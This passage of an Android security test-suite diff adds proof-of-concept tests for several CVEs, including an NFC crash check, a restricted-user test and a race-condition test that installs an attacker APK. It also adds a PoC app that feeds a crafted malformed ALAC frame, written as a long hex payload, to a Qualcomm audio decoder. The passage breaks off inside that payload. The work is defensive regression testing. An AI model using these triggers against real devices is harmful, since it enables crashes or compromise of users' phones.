+public class CVE_2022_20007 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 211481342)
+ @Test
+ public void testPocCVE_2022_20007() {
+ final String testPkg = "android.security.cts.CVE_2022_20007";
+ final String testClass = testPkg + "." + "DeviceTest";
+ final String testApp = "CVE-2022-20007.apk";
+ final String testAttackerApp = "CVE-2022-20007-Attacker.apk";
+ ITestDevice device = getDevice();
+ try {
+ installPackage(testApp);
+ installPackage(testAttackerApp);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ runDeviceTests(testPkg, testClass, "testRaceCondition");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
new file mode 100644
index 0000000..08b28b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20131 extends SecurityTestCase {
+ /**
+ * b/221856662
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: nfc_ncif_proc_ee_discover_req (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 221856662)
+ @Test
+ public void testPocCVE_2022_20131() {
+ try {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2022-20131";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config =
+ new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "nfc_ncif_proc_ee_discover_req"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
new file mode 100644
index 0000000..f593f20
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 223578534)
+ @Test
+ public void testPocCVE_2022_20223() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2022_20223";
+ int userId = -1;
+ try {
+ // Wake up the screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Create restricted user
+ String commandOutput = AdbUtils.runCommandLine(
+ "pm create-user --restricted CVE_2022_20223_RestrictedUser", device);
+
+ // Extract user id of the restricted user
+ String[] tokens = commandOutput.split("\\s+");
+ assumeTrue(tokens.length > 0);
+ assumeTrue(tokens[0].equals("Success:"));
+ userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+ // Install PoC application
+ installPackage("CVE-2022-20223.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ if (userId != -1) {
+ // Remove restricted user
+ AdbUtils.runCommandLine("pm remove-user " + userId, device);
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java
index 46dc3e9..21964fd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0448/src/android/security/cts/CVE_2020_0448/DeviceTest.java
@@ -35,16 +35,15 @@
@Test
public void testCVE_2020_0448() {
- Context context = getApplicationContext();
- assumeNotNull(context);
- final TelecomManager manager = context.getSystemService(TelecomManager.class);
- assumeNotNull(manager);
try {
- manager.getPhoneAccountsForPackage();
- } catch (Exception e) {
- if (e instanceof SecurityException) {
+ Context context = getApplicationContext();
+ final TelecomManager manager = context.getSystemService(TelecomManager.class);
+ try {
+ assumeNotNull(manager.getPhoneAccountsForPackage());
+ } catch (SecurityException e) {
return;
}
+ } catch (Exception e) {
assumeNoException(e);
}
fail("Vulnerable to b/153995334");
diff --git a/tests/tests/cronet/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/Android.bp
similarity index 61%
rename from tests/tests/cronet/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-30351/Android.bp
index fc8ec7f..55d3ccf 100644
--- a/tests/tests/cronet/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,29 +12,23 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-
-// TODO: Move this target to cts/tests/tests/net/cronet
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
-
-android_test {
- name: "CtsCronetTestCases",
- defaults: ["cts_defaults"],
-
- // Include both the 32 and 64 bit versions
- compile_multilib: "both",
-
- static_libs: [
- "CronetApiCommonTests",
- "ctstestrunner-axt",
- ],
-
- // Tag this module as a cts test artifact
+android_test_helper_app {
+ name: "CVE-2021-30351",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
test_suites: [
"cts",
- "general-tests",
- "mts-cronet",
+ "vts10",
+ "sts",
],
-
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/AndroidManifest.xml
new file mode 100644
index 0000000..81b2279
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_30351"
+ android:targetSandboxVersion="2">
+
+ <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application android:theme="@style/Theme.AppCompat.Light">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".OverlayService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <activity
+ android:name=".MainActivity"
+ android:label="CVE-2021-30351"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.CVE_2021_30351.MainActivity">
+
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_30351" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/src/android/security/cts/CVE_2021_30351/MainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/src/android/security/cts/CVE_2021_30351/MainActivity.java
new file mode 100644
index 0000000..aa3a298
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-30351/src/android/security/cts/CVE_2021_30351/MainActivity.java
@@ -0,0 +1,118 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.CVE_2021_30351;
+
+import android.app.Activity;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.util.Log;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+
+public class MainActivity extends Activity {
+
+ private static final String TAG = "CVE-2021-30351";
+ MediaCodec decoder = null;
+
+ private static byte[] hexStringToByteArray(String s) {
+ int len = s.length();
+ byte[] data = new byte[len / 2];
+ for (int i = 0; i < len; i += 2) {
+ data[i / 2] =
+ (byte)
+ ((Character.digit(s.charAt(i), 16) << 4)
+ + Character.digit(s.charAt(i + 1), 16));
+ }
+ return data;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Create ALAC decoder
+ try {
+ decoder = MediaCodec.createByCodecName("OMX.qti.audio.decoder.alac.sw");
+
+ } catch (IOException ex) {
+ Log.e(TAG, "[-] Failed to create decoder");
+ ex.printStackTrace();
+ }
+
+ MediaFormat mediaFormat = MediaFormat.createAudioFormat("audio/alac", 48000, 2);
+ mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+ mediaFormat.setInteger(MediaFormat.KEY_IS_ADTS, 1);
+ mediaFormat.setInteger(
+ MediaFormat.KEY_AAC_PROFILE, MediaCodecInfo.CodecProfileLevel.AACObjectLC);
+
+ // Config the frameLength as 1 byte (the first dword). The output buffer
+ // size is proportional to the frameLength
+ byte[] data =
+ new byte[] {
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x10,
+ (byte) 0x08, (byte) 0x08,
+ (byte) 0x08, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11,
+ (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x10, (byte) 0x00, (byte) 0x00, (byte) 0x80, (byte) 0xFF,
+ (byte) 0xFF, (byte) 0xFF
+ };
+ ByteBuffer csd_0 = ByteBuffer.wrap(data);
+ mediaFormat.setByteBuffer("csd-0", csd_0);
+
+ decoder.configure(mediaFormat, null, null, 0);
+ decoder.start();
+
+ // Create audio track
+ int minBufSize =
+ AudioTrack.getMinBufferSize(
+ 48000, AudioFormat.CHANNEL_OUT_STEREO, AudioFormat.ENCODING_PCM_16BIT);
+ AudioTrack audioTrack =
+ new AudioTrack(
+ AudioManager.STREAM_MUSIC,
+ 48000,
+ AudioFormat.CHANNEL_OUT_STEREO,
+ AudioFormat.ENCODING_PCM_16BIT,
+ minBufSize,
+ AudioTrack.MODE_STREAM);
+ audioTrack.play();
+
+ // Play the malformed frame from below payload
+ String payload =
+ "00001a82828282000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100064001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000010000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010260000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010f5000010000000100000001000000010000000100000001000000010000000100200001000000010000000100000001000000010000000100000000000100000001000000010000000100000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000eb1000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ff7fffff000010000000100000001000000010000000100000001000000010000000ee000000100000001000000010000000100000001000000010000015100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000000010001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000200000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000001c100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ed00100000001000000010000000200000001000000010000000100000ee1000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000009100000001000000010000000100000001000000010000000100000001000000010000000001000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000001000000010000000100000001000000010000000100000001000000010000000100000001000fff1100000001000eeff100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000e3100000001000000010000000100000001000000010004e0010ffe7001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000ffb0000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001002000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000850000001000000010000000101000001000000010000010000000100000ae10000000fbff00001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000001000000010000000100000001000000010001c001000f1001000000010000000100000001000000010000004100000001000000010000000100000001f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010001000000010000000101000001000000010000010000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010ddffff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100010001000000010000000100000020000120010000020100000001000000080ffff00100000001000000010000000100000001000000010df000010000000100000001000000010010000000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000f2001000000010dfffff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ffff10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000280000001000000010000000100d00001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000008100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001a000000100000001000fb001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000ffff0010000000100000001000000010000000100000001000000010000000100000009b000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000f51000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010008000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000002f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001020000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000001000000010000000100000001000000010000000100000f4100000001000000010000000108000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000019100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000b100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001002000010000000100000001000000010000000100000001000000c1000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001d0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010100000100000001000000010000000100000001000000000000080100000001000000010000000100000001000000010000000100000001000000010000000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000fe700ff00000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010020000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001040000010000000100000001000000010000000100000002c00000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000ff00000000100000001000000010000000100000001000000010000000100000002a00000010000000100000000fe6000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000140000001000000010000000100000000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000120017001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000018000000100000001000000010004000100000001000520010000000100000001000000010ff7f00100000001000000010001000000010000000100000001000000010000000100000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010001b001000000010000000100000100000001000000010000000100000000010000000100000001000000010000000100000100000001000000010000000100000001000000010000000100000001000000000100000001000000010000000100000001000001000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000ffffc0010000000100000001000000010000000100000001000000010000000100000001000000010000000100d00001000000010000000100000001000000001000000100000001000000010000000100000e10f0000001000e20010000000100000000ffffff0100000001000000010e400001000000010000000100000001000000010000000100000001000000010000000100000001004000010000000100000001000000000000000000000000000fffe000000000000000010000000100000000ffff2001000000010000000100000001000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000100000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000fe20000100000001000000010000000100000001000000010000000100000000000d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d510000000100000001000000010000000100000001000000010000010000000100000001000000010000000100000081000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000017100000000010000000100000001000000010000000100000201000000010000000100000001000000010000000100000001000000000001000000010001000000010000000100000001000000010000000100040001000000010000b0010000000001000008010000000100000001000000010000000100f0010000000100000001000000010000000100000001000000010000000100000001000ef641000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000070010000000100000001000000010000000100000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010eb00001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000f5100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010004400101200001000000010fc000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000010000000100000001000000010000000100000001000000010000000100000002f00f7ff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000000010000000100000001000000010000300100000001000000010000000100000001000000010000000100000001000000010000000100000e41d0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000fff2100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000010010000000100000001000000010000000100000001000000010001e00100000001000000010040000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000064000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010495a4949494949494949491000e4ff10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000620000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010df0000100000001000000010000000100000001000e3ff0f0000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000008010000000100000001000000010000000100f000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010a30000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000100000001000000010000000100000001000000010000000000000100000007c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c7c0000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000000000000000000000000000000000000000000000000100016001000000010000000100000001000000010000000100000001000000010000000100000e21000000010000000100000001000001000000010000000100000001000000010000000100000001000000010000000100000000ffffffa10000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000010010000000100000001000000010000000100000001000000010001000000010000000100000001000000010000000100000001000000010000000100000e210000000100000001040000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000009b000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000000c000080000000001000000010000000100000001000000010000000100000001000000010000000290000001000000010000000100000000010000000100000001000000010000000100000001000000010000000100000f90f00000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100001001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000b100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000e000001000000010df0000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000fd0f000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ed0010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000000100001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000007fff0000100000001000000010000000100000001000000010000000100000001000000023000000f50000001000eeff1000000010000000100010000000000010000000100010000000100000001000000010000000100000001000000010000000100000001000000010000000100064001000000010000000100006001000000010000000100000001000000010000000100028001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000810008000100000001000000010000000100000000100000010000000100000001000000010002100100000001000000010000000100000b710000000100000801000000010000000100000001000000010000000100000001000000010000000100000100000001000000010000000100000001000000010001c001000000010000000100000001000000010000000100000001000000010000000100000001000000010ffef00100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010e2ffff0f00000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000008000005400000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000641000000010000000100000001000000010100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000000000010000000100000001000000010000000100000001000000010000000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000ffe1100000001000000010000000100000001000001000000010000000100000001000000010000000100000001000000000100000001000000010000000100000001000000010000000100000001000000010000000100000000000001001000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000001d1000000010000000100000001000000010000000100000001000000010000000100000001000000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000010000000100000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010e500001000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000c00100000001000000010000000100000001000000010efff00100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010ff0000100000001000001210000000100000001000000010000000100000001010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100e00ff00000000100000001000000010000000100000001000000010000000100000001000000010000000100000000ffffc00100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000080000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000eaff0f00000010000000100000001000000010000000100000001000000010000000100000001000000010000000f20000001000000010000000100004001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000010